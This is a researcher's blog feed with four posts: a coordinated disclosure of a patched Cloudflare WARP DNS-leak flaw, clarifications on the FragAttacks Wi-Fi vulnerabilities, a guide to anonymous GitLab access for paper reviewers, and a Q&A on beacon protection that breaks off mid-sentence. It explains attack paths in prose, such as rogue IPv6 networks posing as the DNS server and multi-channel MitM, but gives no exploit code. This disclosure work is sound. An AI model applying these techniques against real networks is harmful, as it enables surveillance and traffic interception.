tag:blogger.com,1999:blog-35009170634998500972024-03-19T09:48:57.137+01:00Mathy VanhoefProfessor at KU Leuven (Belgium) | Ex-PostDoc at NYU | Open to consultancyMathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.comBlogger35125tag:blogger.com,1999:blog-3500917063499850097.post-9789592544132127782023-08-10T18:26:00.002+02:002023-08-10T18:26:32.992+02:00Making the Cloudflare WARP VPN leak DNS requests<p>Cloudflare offers a free VPN client called <a href="https://blog.cloudflare.com/1111-warp-better-vpn/">Cloudflare WARP</a>. I found that its Windows client can be tricked into <b>leaking all DNS requests</b>. The adversary can then spoof DNS responses and intercept nearly all traffic.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt6PBSJuStQUAtiISPnvxSSvMtlh60wx84CQh_CPrRXbVDjjlyJSrZx8zBLUPdIo4JGDD6dw2M06BU2obOjbW305r3Kc50BrQtVTpc1Xh_enx965MajPFu71i8cMSiBsmPGsRLMBWXBhNfMTFidSRj4EjVRrV3QtAVfKzLO8ATaCpiGiHdBNIZHKBCIw/s447/warpclient.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="447" data-original-width="348" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt6PBSJuStQUAtiISPnvxSSvMtlh60wx84CQh_CPrRXbVDjjlyJSrZx8zBLUPdIo4JGDD6dw2M06BU2obOjbW305r3Kc50BrQtVTpc1Xh_enx965MajPFu71i8cMSiBsmPGsRLMBWXBhNfMTFidSRj4EjVRrV3QtAVfKzLO8ATaCpiGiHdBNIZHKBCIw/s320/warpclient.png" width="249" /></a></div><br /><p>To exploit the vulnerability, the adversary needs to create a <b>rogue Wi-Fi or Ethernet network that supports IPv6</b>. When the local network supports IPv6, all DNS requests are leaked.</p><br /><h2 style="text-align: left;">Why are DNS requests leaked?</h2><p>When you enable the VPN tunnel, the Cloudflare WARP client will configure a local DNS server. This can be seen when executing <span style="font-family: monospace;">ipconfig</span>:<br /></p><p><span style="font-family: monospace;">Ethernet adapter Ethernet:<br /><br /> Connection-specific DNS Suffix . : cs.kuleuven.be.<br /> [..]<br /> DNS Servers . . . . . . . . . . . : <b>fd01:db8:1111::2</b><br /> <b>fd01:db8:1111::3</b><br /> <b>127.0.2.2</b><br /> <b>127.0.2.3</b><br /> NetBIOS over Tcpip. . . . . . . . : Enabled<br /></span></p><p>The idea is that the Cloudflare WARP client will act as a local DNS server. This local DNS server will perform the actual DNS requests in a secure manner. For IPv4, the special IP addresses 127.0.2.2 and 127.0.0.3 are configured as the DNS server. These IP addresses refer to the Windows computer itself (they're called <a href="https://datatracker.ietf.org/doc/html/rfc5735">loopback addresses</a>). So when the network only supports IPv4, these loopback IP addresses are used for the DNS server, and all DNS requests are handled by the Cloudflare WARP client. The WARP client will then securely handle the DNS requests. So everything works as expected when using IPv4.<br /></p><p>The Cloudflare WARP client also configures the IPv6 addresses fd01:db8:1111::2 and fd01:db8:1111::3 as DNS servers. When the local network supports IPv6, these addresses will be used. But these are not loopback addresses referring to the Windows machine itself! These special are <a href="https://datatracker.ietf.org/doc/html/rfc4193">Unique Local Addresses (ULAs)</a>. This means they behave the same as private IPv4 address of the form 192.168.x.y. In other words, these two IPv6 addresses represent random computers in the local network. They don't represent the Windows computer itself.<br /></p><p>All combined, the <b>Cloudflare WARP client is configuring two random IPv6 computers in the local network as DNS servers</b>. Namely, the computers fd01:db8:1111::2 and fd01:db8:1111::3 are configured as DNS servers. So a rogue Wi-Fi network simply needs to advertise support for IPv6, <b>assign itself the IPv6 address fd01:db8:1111::2, and then it will receive all DNS requests</b>:</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRWVUWuRjOLRE47zEbnd_IIJY1fGTcf9JaauVBsyOGOjiuNdjfcYsvMYBkEJ8IJ2bauMYwvwV6W_EyOVa5IaxK-CTSVJ4CKTxpDeY67NOAAoO2sGcjSeyzvJL9H4iA0vQRAMzVvHt82dsNyJqSmcU7P5zvjNyGHJJSAQ0DJOFucwmtOtWIHhWrp28lYQ/s1094/dnsleak.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="692" data-original-width="1094" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRWVUWuRjOLRE47zEbnd_IIJY1fGTcf9JaauVBsyOGOjiuNdjfcYsvMYBkEJ8IJ2bauMYwvwV6W_EyOVa5IaxK-CTSVJ4CKTxpDeY67NOAAoO2sGcjSeyzvJL9H4iA0vQRAMzVvHt82dsNyJqSmcU7P5zvjNyGHJJSAQ0DJOFucwmtOtWIHhWrp28lYQ/w640-h405/dnsleak.png" width="90%" /></a></div><p>The leakage of DNS requests has a direct impact on the user's privacy: you can now see which websites the victim is visiting, which apps are being used, and so on.<br /></p><p>But there's more: once the adversary can intercept DNS requests, they can also spoof DNS responses. And by doing so, the <b>adversary can easily intercept nearly all IP-based traffic of the victim</b>! For instance, if the victim is looking up the IP address of <span style="font-family: courier;">website.com</span> the adversary can return the IP address of their own server. When the victim now visits this website, all traffic will be sent to the adversary's server (and the adversary can forward it to the real server and back). If the website uses HTTPS then traffic is still protected, but the VPN itself is now completely bypassed, and all unprotected protocols can be subsequently attacked.<br /></p><p></p><p><span>The <b>severity was rated as High</b>. This matches the <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N&version=3.1">CVSS score of 7.4</a>: it doesn't require user interaction and has a high attack complexity. Intuitively, I would actually say it has a low attack complexity. But CVSS has the following example for high attack complexity: "The attacker must inject themselves into the logical network path [..] e.g., a man in the middle attack". And exploiting the vulnerability essentially requires a MitM position.<br /></span></p><p><br /></p><h2 style="text-align: left;">Another harder-to-exploit flaw<br /></h2><p><span style="color: red;"></span></p>A second issue was that the Clouldflare WARP client <b>only updated the DNS servers of the first two network interfaces</b>. If you have more than two network interfaces, the DNS servers associated to these extra network interfaces didn't get changed. This means a rogue Wi-Fi network could assign itself as the DNS server, and if the victim has more than two network interfaces, Windows would use the adversary's Wi-Fi router as the DNS server! This happened even when the local network only supported IPv4.<br /><p>Having multiple network interfaces can occur more often than you think. For instance, if the victim installed VirtualBox, then a virtual network interface is created and the attack becomes possible.<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjdw5FQbEfe_DZXmDV61SugvwzihcpT2BeR4sKGmayRIQ17LbIcmB5dMa_LZU8dPrWlC_lu2UOJO1TIJS2xNqXN9ADmvLvj2wi37Py9kdJ49-OImwusSIjjw7a3fWD9nvhSqR_tcG3pQ7DEWvff-fq_yb_b6GRM0u9STeBtyYISaMGTeaQm_fxz_uYrrow/s513/interfaces.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="116" data-original-width="513" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjdw5FQbEfe_DZXmDV61SugvwzihcpT2BeR4sKGmayRIQ17LbIcmB5dMa_LZU8dPrWlC_lu2UOJO1TIJS2xNqXN9ADmvLvj2wi37Py9kdJ49-OImwusSIjjw7a3fWD9nvhSqR_tcG3pQ7DEWvff-fq_yb_b6GRM0u9STeBtyYISaMGTeaQm_fxz_uYrrow/s16000/interfaces.png" /></a></div><p></p><p>To patch this initial vulnerability, the Windows client was updated to assign the DNS servers 127.0.2.2 and 127.0.0.3 to <b>all</b> network interfaces. Interestingly, it was no longer assigning IPv6 addresses for the DNS server. So that patch, without us really realizing it yet, also prevented the above IPv6-based attack.</p><p>All combined, these two vulnerabilities were fixed in beta build 2023.5.170.1 which was made available on May 12, 2023. The first official release that included the fix was version 2023.7.7.0 which was released on July 7, 2023.</p><p><br /></p><h2 style="text-align: left;">Discussion<br /></h2><p>I first noticed the "multiple-interfaces DNS leakage" flaw and immediately reported that. While doing so, I already saw some weird IPv6 behavior, but I didn't have time to investigate it. Afterwards I also checked the IPv6 issue and also discovered this more impactful attack.</p><p>Finally, I'd like to thank Cloudflare for the smooth handling of this vulnerability and disclosure.<br /></p>Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.com0tag:blogger.com,1999:blog-3500917063499850097.post-60628309800485168942021-05-18T23:09:00.023+02:002021-06-20T13:54:32.146+02:00FragAttacks: Clarifying Some Aspects<div><p>If you haven't yet <a href="https://www.fragattacks.com">read about this research</a> then watch my USENIX Security presentation:</p>
<iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/OJ9nFeuitIU" title="YouTube video player" width="560"></iframe><br />
<p style="text-align: center;"></p><p><br /></p><p>In this blog post I'll discuss some aspects in more detail than I could in <a href="https://papers.mathyvanhoef.com/usenix2021.pdf">the paper</a>.</p>
<h3 style="text-align: left;">Addressing general misconceptions<br /></h3>
<ul style="text-align: left;"><li><span class="style-scope yt-formatted-string" dir="auto">None of the flaws are in the <a href="https://en.wikipedia.org/wiki/Cryptographic_primitive">cryptographic primitives</a> used by Wi-Fi. In other words, we're not attacking <a href="https://papers.mathyvanhoef.com/usenix2015.pdf">RC4</a> or SHA1. The design flaws are instead at the intersection of crypto and protocol design, which people colloquially refer to as "the encryption used in Wi-Fi". In other words, the encryption of Wi-Fi is still being broken and in some cases bypassed.<br /></span></li><li><span class="style-scope yt-formatted-string" dir="auto">The aggregation design flaw (CVE-2020-24588) can be abused to make receivers process
a normal frame as if it were an aggregated frame. It cannot be abused
to force a device to aggregate frames.</span></li><li><span class="style-scope yt-formatted-string" dir="auto">Both clients and Access Points (APs) are affected. Some flaws are more common in clients, while others are more common in APs.</span></li></ul><div style="text-align: left;"><br /></div><h3 style="text-align: left;">Being within range<br /></h3><p>Just like practically all Wi-Fi vulnerabilities, you need to be in proximity of the victim to exploit the discovered flaws. Put differently, as the second line of the <a href="https://www.fragattacks.com">FragAttack website</a> states: "an adversary that is within range of a victim's Wi-Fi network can abuse these vulnerabilities".<br /></p><p>This doesn't mean the adversary has to be right next to the target network. <a href="https://en.wikipedia.org/wiki/Cantenna">A simple external antenna</a> can be used to receive a Wi-Fi signal up to one kilometer. In leaked documents the NSA even claims that a range of <a href="https://www.schneier.com/blog/archives/2014/01/nightstand_nsa.html">more than 12 kilometers</a> is possible, though that extreme range is only possible in perfect conditions.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglI7CzphbszdLXIg8uUcqnGXjfQhkslJWfRVJSbvtWaQgc3iXVBkmoeop0OHZ9LpslbJbqRnQx7FheurNZgtG7XHtcdwcKmIOvK2qlZJn6HjV0Oh6RUdSIoV63-4LjCPUqtvSWJpUi8HoG/s2048/IMG_0169.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1516" data-original-width="2048" height="296" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglI7CzphbszdLXIg8uUcqnGXjfQhkslJWfRVJSbvtWaQgc3iXVBkmoeop0OHZ9LpslbJbqRnQx7FheurNZgtG7XHtcdwcKmIOvK2qlZJn6HjV0Oh6RUdSIoV63-4LjCPUqtvSWJpUi8HoG/w400-h296/IMG_0169.jpg" width="400" /></a></div></div><div style="text-align: center;"><i>Antenna made by <a href="https://www.mattparkinson.eu/designer-cantenna/">Matt Parkinson</a>.</i><br /></div><div><p><br /></p><h3 style="text-align: left;">Easy or hard to abuse? Why not both!<span class="style-scope yt-formatted-string" dir="auto"><br /></span></h3><p><span class="style-scope yt-formatted-string" dir="auto">The design flaws are, on their own, hard to exploit. To <a href="https://fragattacks.com">quote the FragAttacks website</a>: "the design flaws are hard to abuse because doing so requires user interaction or is only possible when using uncommon network settings. As a result, in practice the biggest concern are the programming mistakes in Wi-Fi products". This echoes the conclusion in the <a href="https://papers.mathyvanhoef.com/usenix2021.pdf">paper</a>: "our implementation-specific vulnerabilities are the most devastating".<br /></span></p><p><span class="style-scope yt-formatted-string" dir="auto">So it's the implementation flaws we have to worry about. Why? Because exploiting some of them is absolutely trivial: an adversary that is within proximity of the target network can then simply inject plaintext frames. It cannot get any easier than that. In fact, one can argue that this is even easier than exploiting the horribly broken (and ancient) WEP protocol.<br /></span></p><p>It gets more complicated when design flaws are combined with implementation flaws. The biggest example is when the aggregation design flaw (CVE-2020-24588) in clients is combined with implementation flaw CVE-2020-26139 in access points. <b>In this scenario, the aggregation design flaw can be exploited without user interaction</b> (i.e. without social engineering). That means the adversary merely has to be within range of the target network. Section 6.6 in <a href="https://papers.mathyvanhoef.com/usenix2021.pdf">the paper</a> discusses this in further detail and the <a href="https://youtu.be/OJ9nFeuitIU?t=215">presentation</a> also briefly covers this.</p><p>As further context I've also created a <a href="https://papers.mathyvanhoef.com/fragattacks-overview.pdf">short overview</a> with attacks and their preconditions. A quick way to determine whether it's important to immediately patch a device is to see whether it's affected by any of the <a href="https://github.com/vanhoefm/fragattacks/blob/master/SUMMARY.md#implementation-flaws-allowing-trivial-packet-injection">CVEs that allow plaintext injection</a>.</p><p><br /></p><span class="style-scope yt-formatted-string" dir="auto"><span class="css-901oao css-16my406 r-poiln3 r-bcqeeo r-qvutc0"></span></span><h3 style="text-align: left;">Applicability to the old WEP and TKIP protocols</h3><p>The paper describes the impact of the vulnerabilities on the latest standards such as WPA2 and WPA3. For completeness, it also briefly discusses <a href="https://www.fragattacks.com/#wep">WEP</a> and <a href="https://www.fragattacks.com/#tkip">TKIP</a> to confirm that some of these vulnerabilities have existed for a long time. It's hopefully clear though, as also indicated in the paper, that WEP and TKIP should no longer be used :) They're both insecure, old, and deprecated by the Wi-Fi Alliance.<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYAGrMycYzvoA0m5oI_2AWzV-5MaZCJWtGcyQJ2-FVjoqQuXzxF187GGbsGf5lPKQIJAmpqFvFT8O7SloCGPclUnUAYTQkeirluoJWbpLV-uRblg9iClbMux-RJRbCvL1FPQbjSs4sUw22/s1024/deprecated-9443.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="589" data-original-width="1024" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYAGrMycYzvoA0m5oI_2AWzV-5MaZCJWtGcyQJ2-FVjoqQuXzxF187GGbsGf5lPKQIJAmpqFvFT8O7SloCGPclUnUAYTQkeirluoJWbpLV-uRblg9iClbMux-RJRbCvL1FPQbjSs4sUw22/s320/deprecated-9443.jpg" width="320" /></a></div></div><div style="text-align: center;"><i>Image from <a href="https://musheera4mirani.blogspot.com/2020/11/deprecated.html">Musheera Mirani</a>.</i><br /></div><div><p><br /></p><a id="nopassword"></a><h3 style="text-align: left;">Do attackers need to know the password of the network?<br /></h3><p>Some have <a href="https://github.com/vanhoefm/fragattacks/issues/3">asked</a> me whether any of the attacks require knowing the pairwise transient keys (PTK) or group key (GTK) of the victim. <b>That's not the case</b>. If an attacker knows the PTK it means Wi-Fi security has already been broken: the adversary can use the PTK to passively decrypt all data. All the attacks work without knowing the password of the network.<br /><br />The cache attack (CVE-2020-24586) does have a more exotic threat model. When an AP is vulnerable, this flaw can be exploited in Hotspot 2.0 or Enterprise networks, as long as the adversary also has credentials that are needed to connect to this network. But even in this threat model the adversary does not know the PTK of the victim! And the adversary also does not know the credentials of the victim. Finally, when a client is vulnerable to the fragment cache attack, it can only be exploited when the client first connects to the adversary's network, and subsequently connects to the target network. This threat model to exploit CVE-2020-24586 in a client is currently a theoretic threat model and you can ignore it in practice.<br /></p><p><br /></p><h3 style="text-align: left;">Two types of hotspots: the less secure and more secure ones<br /></h3><p>The fragment cache design flaw can only be abused against hotspots. It's important to note that there are two kinds of hotspots: the traditional coffee-shop hotspot and the new Hotspot 2.0. This difference is touched upon in Section 5.1 of the <a href="https://papers.mathyvanhoef.com/usenix2021.pdf">paper</a>. The coffee-shop hotspots are normal home networks where the password of the network is shared publicly among customers. And you can think of Hotspot 2.0 networks as special enterprise networks where users are
automatically provided unique credentials (for more details see Section
2.4 in the paper). The coffee-shop hotspots are less secure because an adversary can set up a rogue clone of the hotspot and intercept traffic. The Hotspot 2.0 networks are more secure because the authenticity of the network is verified (meaning a rogue clone cannot be created by an adversary).<br /></p><p><b>To exploit APs</b> that are vulnerable to the fragment cache vulnerability, we target Hotspot 2.0 networks. <b>To exploit clients</b> that are vulnerable to the fragment cache vulnerability, the attack makes use of traditional coffee-shop hotspots. In other words, these two types of hotspots are abused under different circumstances.</p><p> </p><h3 style="text-align: left;">Hotspots 2.0 vs. the fragment cache of access points<br /></h3><p>Let's first focus on Hotspot 2.0 security and enterprise networks. In these networks users may distrust each other. This is the easiest to explain in hotspot networks: I don't know who the other users are and I don't trust them. The same can be true in enterprise networks such as Eduroam, a network used by universities worldwide. With Eduroam, someone from university A can
visit university B and connect to the eduroam network using the
credentials of their home network. Awesome! But I don't trust researchers
from other universities though. Unfortunately, these visitors can
connect to the same network that I'm using. In fact, they can connect to
exactly the same access point that I'm connected to. But I don't trust
them!</p><p>The above situation doesn't have to be problematic. By using client isolation, downstream group-addressed forwarding, and a proxy ARP service, clients are unable to attack each other (see the <a href="https://www.wi-fi.org/file/hotspot-20-specification-package-passpoint-release-2">Hotspot 2.0 spec</a>). Note that in these networks each client uses their own unique credentials (e.g. username and password) to access the network and that an adversary cannot impersonate the eduroam network (i.e. the network is authenticated while connecting). However, the observation that distrustful users connect to the same access point in these hotspots, forms the basis of how the fragment cache vulnerability (CVE-2020-24586) is abused against access points. In particular, the visitor/attacker from the other
university can connect to the same access point that I'm using, inject a
malicious fragment into the fragment cache of the AP, which can then be
abused to attack me. In practice, this can be abused to exfiltrate data that I'm sending, at least when my device is sending fragmented Wi-Fi frames (which is uncommon unless Wi-Fi 6 is used).</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieyqNhbqa2pM8FVqQ94DGNtjY1Pg6abkzPY4V02qUypmsTT7TZMjJZh6h_XeVpkg2bxMnn1yAscSm3pXayW3jYv_tVBHY7x4rSnqF40bSPZdx35v5gQJwJHR27s1wzYT8-ASH1WaSKmLs_/s325/hotspots.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="289" data-original-width="325" height="178" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieyqNhbqa2pM8FVqQ94DGNtjY1Pg6abkzPY4V02qUypmsTT7TZMjJZh6h_XeVpkg2bxMnn1yAscSm3pXayW3jYv_tVBHY7x4rSnqF40bSPZdx35v5gQJwJHR27s1wzYT8-ASH1WaSKmLs_/w200-h178/hotspots.png" width="200" /></a></div></div><div style="text-align: center;"><i>Secure Wi-Fi hotspots are becoming more common!</i><br /></div><div><p><br /></p><h3 style="text-align: left;">Hotspots vs. the fragment cache of clients <br /></h3><p>Exploiting the fragment cache design flaw (CVE-2020-24586) against
clients is trickier. The paper discusses a scenario where this is made
possible by relying on traditional coffee-shop hotspots. Briefly
summarized, the adversary clones the coffee-shop hotspot using a <b>spoofed
BSSID, and the victim connects based on the real SSID</b>. Then a malicious
fragment is injected into the fragment cache of the client. This attack
is academic and will be discussed in another blog post in more detail. In any case, I'm not worried
about it in practice. Just remember that when
abusing the fragment cache design flaw <i>against a client the attack relies on traditional hotspots</i>, while abusing the fragment cache design flaw <i>against an access point targets Hotspot 2.0</i> and/or enterprise Wi-Fi networks.</p><p><br /></p><h3 style="text-align: left;"></h3><h3 style="text-align: left;">Doesn't matter which EAP authentication method is used<br /></h3><p>All attacks are possible no matter how the client authenticates the network. In other words, attacks are identical against home and enterprise networks. Moreover, it <a href="https://www.fragattacks.com/#eaptls">doesn't matter which EAP method</a> you use in an enterprise network: all attacks are possible and work exactly the same way no matter which EAP method is used.</p><p>Note that the paper briefly mentions an experiment with EAP-PWD. With this EAP method you don't have to configure certificates which makes it easier to do a quick experiment with EAP-PWD. Nevertheless, attacks were also tested when using other EAP methods, but this wasn't explicitly mentioned in the paper as those experiments were performed at a later point in time.</p><p>I do have a hunch why some wrongly claimed that attacks are prevented by using EAP. In particular, this is likely caused by a misunderstanding of how some attacks require a machine-in-the-middle position. This leads me to the next clarification!<br /></p><p><br /></p><a id="rogue-ap"></a><h3 style="text-align: left;">Multi-Channel MitM vs. Rogue AP<br /></h3><p>Abusing the design flaws, on their own, is not trivial (in contrast to the implementation flaws which can be trivial to exploit). One of the requirements is that the adversary must be able to block and modify encrypted Wi-Fi frames. In my experiments, I accomplished this by using a multi-channel machine-in-the-middle position. This is not a typical rogue AP though! Instead, t<span class="style-scope yt-formatted-string" dir="auto">he
attacker is copying all frames from the real AP to a different Wi-Fi
channel, and this is used to reliably block and modify encrypted frames. Copying frames between different channels can be done no matter how the client authenticates the network. How this multi-channel MitM works is further explained in an <a href="https://www.mathyvanhoef.com/2015/10/advanced-wifi-attacks-using-commodity.html">old blog post</a> and is also discussed in the <a href="https://papers.mathyvanhoef.com/wisec2018.pdf">operating channel defense paper</a>.<br /></span></p><p>To further clarify: the multi-channel MitM doesn't break encryption. This MitM position is only used to reliably block or modify encrypted frames and this MitM can be established no matter what authentication or EAP method is used. In other words, mutual authentication EAP types don't prevent this MitM and won't prevent the exploitation of the discovered vulnerabilities.</p><p>Side remark: a few years ago I collaborated with the industry to <a href="https://mentor.ieee.org/802.11/dcn/17/11-17-1807-12-000m-defense-against-multi-channel-mitm-attacks-via-operating-channel-validation.docx">standardize a defense</a> that makes it much harder to establish this MitM position. Hopefully, if this defense eventually gets implemented in practice, it will make it harder to exploit new (currently unknown) vulnerabilities in Wi-Fi.<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhySIZyojrs4rbwGhJSzDKkazCPlZPG60igw0sB5nxk_OZIycxYoMSTP0OM5bBclALZ8Dr2-KIK3Gk5V-aH6UTHYn-PMm9BpZAqyvKmbWYtHjwwiw-Mv7BVsZKrJh4mJvmMhjmx5p7Ci8Ht/s639/mc-mitm.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="224" data-original-width="639" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhySIZyojrs4rbwGhJSzDKkazCPlZPG60igw0sB5nxk_OZIycxYoMSTP0OM5bBclALZ8Dr2-KIK3Gk5V-aH6UTHYn-PMm9BpZAqyvKmbWYtHjwwiw-Mv7BVsZKrJh4mJvmMhjmx5p7Ci8Ht/w640-h224/mc-mitm.png" width="85%" /></a></div></div><div style="text-align: center;"><i>In a multi-channel MitM frames are copied between two channels [<a href="https://people.cs.kuleuven.be/~mathy.vanhoef/papers/brucon2015_slides.pdf">source</a>].</i><br /></div><div><p><br /></p><h3 style="text-align: left;">Using 802.11w doesn't make attacks harder<br /></h3><p>Using 802.11w, also known as management frame protection, has no impact on any of the attacks. Even attacks that rely on the multi-channel machine-in-the-middle position (i.e. the design flaws and CVE-2020-26146) remain possible when using 802.11w. This is because this MitM isn't established by sending deauthentication or disassociation frames to first disconnect the client from the network. Instead, to establish this MitM, the attacker forces the client to switch to another channel (see the section above). This is accomplished by spoofing beacon frames that contain malicious Channel Switch Announcements. These beacon frames can be spoofed even when 802.11w is enabled, meaning that enabling 802.11w won't make attacks harder.<br /></p><p><br /></p><span class="style-scope yt-formatted-string" dir="auto"><span class="css-901oao css-16my406 r-poiln3 r-bcqeeo r-qvutc0"></span></span><h3 style="text-align: left;"><span class="style-scope yt-formatted-string" dir="auto">Collaboration with Wi-Fi companies <br /></span></h3><p><span class="style-scope yt-formatted-string" dir="auto">Finally, I'd like to thank everyone that helped during the embargo, </span><span class="style-scope yt-formatted-string" dir="auto">especially
all the people that went out of the way to ask questions, either directly
or through the Wi-Fi Alliance, to understand all aspects of the research. I realize that academic papers are dense and not always the easiest to understand, so whenever possible I will gladly try to clarify things.</span></p><span class="style-scope yt-formatted-string" dir="auto">Finally, do try out the <a href="https://github.com/vanhoefm/fragattacks">test tool</a>, and happy <strike>hacking</strike> testing! =)</span>
<p></p></div>Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.com0tag:blogger.com,1999:blog-3500917063499850097.post-55328340010781820912020-09-12T13:36:00.006+02:002021-11-30T15:37:40.786+01:00Providing source code when submitting papers: how to give anonymous but protected access<p><b>Update 30 November '21</b>: if you simply want to anonymize your GitHub repository and are OK with it being public, then consider using <a href="https://anonymous.4open.science/">https://anonymous.4open.science/</a><br /></p><p> </p><p>When submitting an academic paper for review, it is often a good idea to provide access to the research code as well. Even if reviewers only rudimentary scroll through the code, it shows you are committed to releasing the code once the paper is published.</p><p>The problem is that often you want to <b>provide reviewers anonymous</b> access to your code, but <b>don't want the code to be accessible publicly</b>. In this blog post, I'll explain how to provide read-only (anonymous) access to a GitLab repository. The end result is that you can instruct reviewers to execute the following command:<br /></p><p style="margin-left: 40px; text-align: left;"><span style="font-family: courier;">git clone https://gitlab.com/anongroup/anonproject.git</span><br /></p><p>where they use the token "anonymous" as the username and a generated password. This <b>token provides read-only access</b> and can easily be revoked if needed (this login info isn't a GitLab account). You can easily include these instructions in a paper, giving reviewers access to the code without revealing your GitLab username in the URL, and while protecting access to the code using a password.</p><h2 style="text-align: left;">How to configure this in practice?</h2><p>First, to assure the git URL won't contain your username, you have to <b>create a new group</b> on GitLab with an anonymous name. The name of this group will replace "anongroup" in the above example URL.</p><p>Second, in this group create a new project (i.e. repository) with an anonymous name. The name of this project will replace "anonproject" in the above example URL. You will now have a git URL containing only anonymous identifiers.</p><p>Finally, to provide read-only access to this repository, open the repository, go to Settings, and then to Repository. Then <b>create a Deploy Token</b> and select that the token provides read-only access. For the username we'll pick "anonymous". Then configure when the token expires: make sure it stays valid during the complete review process! Finally, click on "Create deploy token", and GitLab will automatically generate a password for this token.</p><p>Viola! The resulting token can only be used to clone the repository. Note that this <b>token cannot be used to log into GitLab and view the repository in a browser</b>. This token can only be used to directly clone the git repository using, for example, the command above.</p><p>Remember to create commits under an anonymous identity as well! That can easily be done using:</p><p><span style="font-family: courier;"> git config user.name "Paper 1"<br /><span> </span>git config user.email "anon@mail.com"</span><br /></p><p>The configured name and email will only be used in the git repository you are currently in. A final tip is to include a README file in the repository, which can for example be written in Markdown and then converted to HTML.<br /></p>Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.com0tag:blogger.com,1999:blog-3500917063499850097.post-66699967336190640802020-07-24T12:43:00.000+02:002020-07-24T12:43:02.690+02:00Protecting Wi-Fi Beacons from Outsider Forgeries<div></div><div></div><div></div><div></div><div>We recently presented the paper <a href="https://papers.mathyvanhoef.com/wisec2020.pdf">Protecting Wi-Fi Beacons from Outsider Forgeries</a> at the <a href="https://wisec2020.ins.jku.at/">WiSec 2020 conference</a>. You can view the recorded presentation on YouTube:<br /></div><div><br /></div><div><iframe allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/D5Tnk3WeaE0" width="560"></iframe><br /></div><div><br /></div><div>After the presentation we received a lot of interesting question, and it's useful to discuss these in more detail. So let's dig into some of the details of our work!</div><div><br /></div><div></div>
<div><h3 style="text-align: left;">How does beacon protection handle hidden networks?</h3></div><div><br /></div><div>A hidden network still sends out beacon frames just like a normal network. The only difference with a hidden network is that its beacons do not contain the SSID of the network. As a result, all our attacks apply to hidden networks as well. Additionally, our defense works exactly the same for hidden networks.</div><div><br /></div>
<div><h3 style="text-align: left;">Did you observe any clients recover from attacks after they received a beacon from the real AP?</h3></div>
<div><br /></div>
<div>In our attacks we spoof beacons to influence the behavior of clients. We found that with some attacks, such as those manipulating the throughput of clients, the effects of the attack are reset when the victim receives a real beacon (after we injected a spoofed one). In this specific case however, we found a way to make the effect permanent, and I refer to the second paragraph of section 3.3 in <a href="https://papers.mathyvanhoef.com/wisec2020.pdf">our paper</a> on how we accomplished that.</div>
<div><br /></div>
<div>Additionally, our transmission power attack did not work against all operating systems, and this might be because these devices reset their behavior back to normal when receiving a real beacon.</div>
<div><br /></div>
<div style="text-align: left;"><h3 style="text-align: left;">What makes certain devices more vulnerable than others?</h3></div>
<div><br /></div>
<div>Certain devices or operating systems may not support all features that are advertised in a beacon, and therefore they may not be affected.</div><div><br /></div><div>Another reason why some devices are not affected to certain attacks is because they do not constantly track all information in a beacon. Put differently, some devices initialize parameters when they connect to the network, and will not update these parameters while being connected. As a result, if we spoof a beacon with different parameters, these updated values will simply be ignored.</div><div><br /></div><div><h3 style="text-align: left;">What are the differences between beacon protection and Management Frame Protection of 802.11w?</h3></div><div><div><br /></div><div>We purposely designed beacon protection to be similar to Management Frame Protection. In particular, they both use the same underlying cryptographic primitives. This will hopefully simplify implementations and encourage vendors to adopt our defense.</div><div><br /></div><div>Unfortunately, Management Frame Protection did not authenticate beacons and left them unprotected. In order to also protect beacons we cannot simply protect them in exactly the same way though: several edge cases have to be handled differently. This is discussed in more detail in section 4 of the paper. For example, care is needed when handling "Multiple BSSID" beacons, we need backwards compatibility, we added a capability to report rogue APs, and we are using a new beacon protection key.</div><div><br /></div><div style="text-align: left;"><h3 style="text-align: left;">Why do we need a new key? Why not use the same key used by Management Frame Protection?</h3></div><div><br /></div><div>Using the same key will only be secure if the same nonce (i.e. replay counter) will never be reused. This would imply using the same replay counter for beacons and other broadcast management frames. Unfortunately, this is surprisingly hard to implement: in practice the Wi-Fi chip may reorder beacons and broadcast management frames right before their transmission (after they were authenticated!). Preventing this is non-trivial. Unfortunately, we also cannot use two different replay counters under the same key, because they would again result in nonce reuse. All combined, the easier solution <i>in practice</i> is 